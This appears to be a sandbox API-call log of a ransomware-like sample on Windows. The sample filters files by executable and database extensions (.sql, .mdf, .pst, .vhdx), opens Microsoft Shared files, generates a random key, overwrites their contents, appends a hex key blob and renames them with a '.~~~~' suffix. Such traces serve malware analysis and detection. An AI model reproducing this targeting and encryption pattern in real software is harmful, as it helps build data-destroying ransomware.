	[0077.729] lstrlenW (lpString=".bat") returned 4
	[0077.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".bat") returned 0x0
	[0077.729] lstrlenW (lpString=".cpl") returned 4
	[0077.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".cpl") returned 0x0
	[0077.729] lstrlenW (lpString=".sys") returned 4
	[0077.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".sys") returned 0x0
	[0077.729] lstrlenW (lpString=".msc") returned 4
	[0077.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".msc") returned 0x0
	[0077.729] lstrlenW (lpString=".com") returned 4
	[0077.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".com") returned 0x0
	[0077.729] lstrlenW (lpString=".lnk") returned 4
	[0077.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".lnk") returned 0x0
	[0077.729] lstrlenW (lpString=".msp") returned 4
	[0077.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".msp") returned 0x0
	[0077.730] lstrlenW (lpString=".pif") returned 4
	[0077.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".pif") returned 0x0
	[0077.730] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0077.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0077.731] lstrlenW (lpString=".sqb") returned 4
	[0077.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".sqb") returned 0x0
	[0077.731] lstrlenW (lpString=".ost") returned 4
	[0077.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".ost") returned 0x0
	[0077.732] lstrlenW (lpString=".txt") returned 4
	[0077.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".txt") returned 0x0
	[0077.732] lstrlenW (lpString=".mdt") returned 4
	[0077.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".mdt") returned 0x0
	[0077.732] lstrlenW (lpString=".BDB") returned 4
	[0077.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".BDB") returned 0x0
	[0077.732] lstrlenW (lpString=".eql") returned 4
	[0077.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".eql") returned 0x0
	[0077.732] lstrlenW (lpString=".DBF") returned 4
	[0077.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".DBF") returned 0x0
	[0077.732] lstrlenW (lpString=".EQL") returned 4
	[0077.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".EQL") returned 0x0
	[0077.733] lstrlenW (lpString=".FDB") returned 4
	[0077.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".FDB") returned 0x0
	[0077.733] lstrlenW (lpString=".EDB") returned 4
	[0077.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".EDB") returned 0x0
	[0077.733] lstrlenW (lpString=".DACPAC") returned 7
	[0077.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".DACPAC") returned 0x0
	[0077.733] lstrlenW (lpString=".VHD") returned 4
	[0077.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".VHD") returned 0x0
	[0077.733] lstrlenW (lpString=".DBV") returned 4
	[0077.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".DBV") returned 0x0
	[0077.734] lstrlenW (lpString=".dacpac") returned 7
	[0077.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".dacpac") returned 0x0
	[0077.734] lstrlenW (lpString=".sdf") returned 4
	[0077.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".sdf") returned 0x0
	[0077.734] lstrlenW (lpString=".accdb") returned 6
	[0077.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".accdb") returned 0x0
	[0077.734] lstrlenW (lpString=".DBX") returned 4
	[0077.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".DBX") returned 0x0
	[0077.734] lstrlenW (lpString=".MDT") returned 4
	[0077.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".MDT") returned 0x0
	[0077.734] lstrlenW (lpString=".SQB") returned 4
	[0077.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".SQB") returned 0x0
	[0077.735] lstrlenW (lpString=".vhd") returned 4
	[0077.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".vhd") returned 0x0
	[0077.735] lstrlenW (lpString=".bac") returned 4
	[0077.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".bac") returned 0x0
	[0077.735] lstrlenW (lpString=".mdf") returned 4
	[0077.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".mdf") returned 0x0
	[0077.735] lstrlenW (lpString=".BAK") returned 4
	[0077.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".BAK") returned 0x0
	[0077.735] lstrlenW (lpString=".BAC") returned 4
	[0077.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".BAC") returned 0x0
	[0077.735] lstrlenW (lpString=".dbs") returned 4
	[0077.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".dbs") returned 0x0
	[0077.736] lstrlenW (lpString=".vhdx") returned 5
	[0077.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".vhdx") returned 0x0
	[0077.736] lstrlenW (lpString=".NDF") returned 4
	[0077.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".NDF") returned 0x0
	[0077.736] lstrlenW (lpString=".dat") returned 4
	[0077.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".dat") returned 0x0
	[0077.736] lstrlenW (lpString=".DBS") returned 4
	[0077.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".DBS") returned 0x0
	[0077.736] lstrlenW (lpString=".CKP") returned 4
	[0077.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".CKP") returned 0x0
	[0077.736] lstrlenW (lpString=".edb") returned 4
	[0077.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".edb") returned 0x0
	[0077.737] lstrlenW (lpString=".PST") returned 4
	[0077.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".PST") returned 0x0
	[0077.737] lstrlenW (lpString=".dbf") returned 4
	[0077.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".dbf") returned 0x0
	[0077.737] lstrlenW (lpString=".SQL") returned 4
	[0077.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".SQL") returned 0x0
	[0077.737] lstrlenW (lpString=".pst") returned 4
	[0077.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".pst") returned 0x0
	[0077.737] lstrlenW (lpString=".dbv") returned 4
	[0077.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".dbv") returned 0x0
	[0077.737] lstrlenW (lpString=".SDF") returned 4
	[0077.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".SDF") returned 0x0
	[0077.738] lstrlenW (lpString=".dtxs") returned 5
	[0077.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".dtxs") returned 0x0
	[0077.738] lstrlenW (lpString=".db3") returned 4
	[0077.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".db3") returned 0x0
	[0077.738] lstrlenW (lpString=".OST") returned 4
	[0077.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".OST") returned 0x0
	[0077.738] lstrlenW (lpString=".dbx") returned 4
	[0077.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".dbx") returned 0x0
	[0077.738] lstrlenW (lpString=".DB3") returned 4
	[0077.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".DB3") returned 0x0
	[0077.738] lstrlenW (lpString=".DAT") returned 4
	[0077.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".DAT") returned 0x0
	[0077.738] lstrlenW (lpString=".VHDX") returned 5
	[0077.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".VHDX") returned 0x0
	[0077.739] lstrlenW (lpString=".ndf") returned 4
	[0077.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".ndf") returned 0x0
	[0077.739] lstrlenW (lpString=".DB") returned 3
	[0077.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".DB") returned 0x0
	[0077.739] lstrlenW (lpString=".sql") returned 4
	[0077.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".sql") returned 0x0
	[0077.739] lstrlenW (lpString=".MYD") returned 4
	[0077.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".MYD") returned 0x0
	[0077.739] lstrlenW (lpString=".DBT") returned 4
	[0077.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".DBT") returned 0x0
	[0077.739] lstrlenW (lpString=".ACCDB") returned 6
	[0077.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".ACCDB") returned 0x0
	[0077.740] lstrlenW (lpString=".fdb") returned 4
	[0077.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".fdb") returned 0x0
	[0077.740] lstrlenW (lpString=".bak") returned 4
	[0077.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".bak") returned 0x0
	[0077.740] lstrlenW (lpString=".myd") returned 4
	[0077.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".myd") returned 0x0
	[0077.740] lstrlenW (lpString=".DTXS") returned 5
	[0077.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".DTXS") returned 0x0
	[0077.740] lstrlenW (lpString=".ckp") returned 4
	[0077.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".ckp") returned 0x0
	[0077.740] lstrlenW (lpString=".dbt") returned 4
	[0077.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".dbt") returned 0x0
	[0077.740] lstrlenW (lpString=".db") returned 3
	[0077.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".db") returned 0x0
	[0077.741] lstrlenW (lpString=".TXT") returned 4
	[0077.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".TXT") returned 0x0
	[0077.741] lstrlenW (lpString=".MDF") returned 4
	[0077.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".MDF") returned 0x0
	[0077.741] lstrlenW (lpString=".bdb") returned 4
	[0077.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".bdb") returned 0x0
	[0077.741] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0077.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.741] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0077.743] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.743] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0077.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0077.743] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19773310619) returned 1
	[0077.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x98474e50, dwHighDateTime=0x1d60e1e)) 
	[0077.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0077.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0077.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7f70
	[0077.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.811] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0077.811] GetLastError () returned 0x0
	[0077.811] GetLastError () returned 0x0
	[0077.812] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0077.812] GetLastError () returned 0x0
	[0077.812] GetLastError () returned 0x0
	[0077.812] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x7980, lpOverlapped=0x0) returned 1
	[0077.814] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff8680, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.814] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x7980, lpOverlapped=0x0) returned 1
	[0077.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.815] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.815] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.815] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.815] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.815] CloseHandle (hObject=0x120) returned 1
	[0077.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.816] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.~~~~")) returned 1
	[0077.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.816] GetLastError () returned 0x0
	[0077.816] RtlWakeConditionVariable () returned 0x365f70
	[0077.816] GetCurrentThreadId () returned 0xaf0
	[0077.816] GetCurrentThreadId () returned 0xaf0
	[0077.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7b48
	[0077.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a81d0 | out: hHeap=0x300000) returned 1
	[0077.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0077.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a81d0
	[0077.817] lstrlenW (lpString=".scr") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".scr") returned 0x0
	[0077.817] lstrlenW (lpString=".cmd") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".cmd") returned 0x0
	[0077.817] lstrlenW (lpString=".dll") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".dll") returned 0x0
	[0077.817] lstrlenW (lpString=".bat") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".bat") returned 0x0
	[0077.817] lstrlenW (lpString=".cpl") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".cpl") returned 0x0
	[0077.817] lstrlenW (lpString=".sys") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".sys") returned 0x0
	[0077.817] lstrlenW (lpString=".msc") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".msc") returned 0x0
	[0077.817] lstrlenW (lpString=".com") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".com") returned 0x0
	[0077.817] lstrlenW (lpString=".lnk") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".lnk") returned 0x0
	[0077.817] lstrlenW (lpString=".msp") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".msp") returned 0x0
	[0077.817] lstrlenW (lpString=".pif") returned 4
	[0077.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".pif") returned 0x0
	[0077.818] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch="msp\r\n.pif") returned 0x0
	[0077.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0077.855] lstrlenW (lpString=".sqb") returned 4
	[0077.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".sqb") returned 0x0
	[0077.855] lstrlenW (lpString=".ost") returned 4
	[0077.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".ost") returned 0x0
	[0077.855] lstrlenW (lpString=".txt") returned 4
	[0077.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".txt") returned 0x0
	[0077.855] lstrlenW (lpString=".mdt") returned 4
	[0077.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".mdt") returned 0x0
	[0077.855] lstrlenW (lpString=".BDB") returned 4
	[0077.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".BDB") returned 0x0
	[0077.860] lstrlenW (lpString=".eql") returned 4
	[0077.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".eql") returned 0x0
	[0077.860] lstrlenW (lpString=".DBF") returned 4
	[0077.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".DBF") returned 0x0
	[0077.894] lstrlenW (lpString=".EQL") returned 4
	[0077.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".EQL") returned 0x0
	[0077.894] lstrlenW (lpString=".FDB") returned 4
	[0077.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".FDB") returned 0x0
	[0077.908] lstrlenW (lpString=".EDB") returned 4
	[0077.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".EDB") returned 0x0
	[0077.908] lstrlenW (lpString=".DACPAC") returned 7
	[0077.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".DACPAC") returned 0x0
	[0077.908] lstrlenW (lpString=".VHD") returned 4
	[0077.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".VHD") returned 0x0
